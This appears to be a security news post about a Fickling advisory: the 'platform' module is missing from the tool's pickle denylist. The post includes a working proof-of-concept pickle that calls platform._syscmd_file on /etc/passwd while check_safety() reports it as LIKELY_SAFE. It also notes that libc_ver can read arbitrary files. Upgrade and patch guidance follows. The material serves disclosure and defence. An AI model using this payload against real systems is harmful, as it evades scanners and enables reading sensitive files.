Listen to this Post
The vulnerability stems from the omission of the `platform` module from Fickling’s `UNSAFE_IMPORTS` denylist. Prior to patched versions, `check_safety()` would return a `LIKELY_SAFE` verdict with zero findings for a malicious pickle that invokes platform._syscmd_file, platform.architecture, or platform.libc_ver. The `UnusedVariables` heuristic is neutralized by making the call result appear used via a `SETITEMS` path. During fickling.loads(), the injected `platform` functions execute. `platform._syscmd_file` calls `subprocess.check_output([‘file’, ‘-b’, target])` where `target` (e.g., /etc/passwd) is fully attacker-controlled. The impact is limited to the `file` command’s path argument, not arbitrary command injection, as `shell=True` is not used. Similarly, `platform.libc_ver` can open and read chunks of an arbitrary file. This bypass follows the pattern of GHSA-5hwf-rc88-82xm but covers a distinct set of functions. The patch adds “platform” to the denylist and hardens the `_follow_symlinks` path to prevent direct module references .
Platform: Fickling
Version: <= 0.1.9
Vulnerability: Module Denylist Bypass
Severity: Critical
Date: 2026-03-14
Prediction: Patch Released
What Undercode Say:
Analytics
The root cause is an incomplete denylist (CWE-184). The `platform` module was missing from UNSAFE_IMPORTS, allowing its functions (_syscmd_file, architecture, libc_ver) to bypass static analysis. The `UnusedVariables` heuristic was evaded by using `SETITEMS` to make the call result appear used, resulting in a false-negative LIKELY_SAFE verdict .
Reproduction & Code
The following proof-of-concept crafts a pickle that invokes `platform._syscmd_file` to probe `/etc/passwd` without being flagged:
from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety
Craft malicious pickle payload
pickled = Pickled([
op.Proto.create(4),
op.ShortBinUnicode('platform'),
op.ShortBinUnicode('_syscmd_file'),
op.StackGlobal(),
op.ShortBinUnicode('/etc/passwd'),
op.TupleOne(),
op.Reduce(),
op.Memoize(),
op.EmptyDict(),
op.ShortBinUnicode('init'),
op.ShortBinUnicode('x'),
op.SetItem(),
op.Mark(),
op.ShortBinUnicode('trace'),
op.BinGet(0),
op.SetItems(),
op.Stop(),
])
Analysis bypass
results = check_safety(pickled)
print(results.severity.name, len(results.results)) LIKELY_SAFE 0
Runtime exploitation
with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
fickling.loads(pickled.dumps())
print('subprocess called?', mock_sub.called) True
print('args:', mock_sub.call_args[bash]) (['file', '-b', '/etc/passwd'],)
Exploit
An attacker can:
- Probe file existence/types via `platform._syscmd_file` (calls
file -b /attacker/path). - Read arbitrary files via
platform.libc_ver('/etc/passwd'), which opens and reads file content. - Evade all static analysis, as `check_safety()` returns LIKELY_SAFE with no findings.
Protection from this CVE
- Upgrade Fickling to version 0.1.10 or apply the specific patches: `trailofbits/fickling@351ed4d` and
trailofbits/fickling@b9e690c.
2. Verify denylist includes `platform` in `UNSAFE_IMPORTS` .
- Use secondary scanners like `picklescan` to cross-validate results.
- Avoid untrusted pickle deserialization whenever possible; prefer safer formats like JSON.
Upgrade command pip install --upgrade fickling>=0.1.10 Verify patch pip show fickling | grep Version
Impact
- False-Negative Verdicts: Malicious pickles bypass Fickling’s `check_safety()` entirely.
- Information Disclosure: Attackers can probe file types and read file contents via `platform` functions.
- Subprocess Invocation: `subprocess.check_output` is called with attacker-controlled file paths, enabling file system reconnaissance.
- Downstream Risk: Applications trusting Fickling’s analysis will deserialize malicious payloads, leading to potential data leaks and system compromise .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

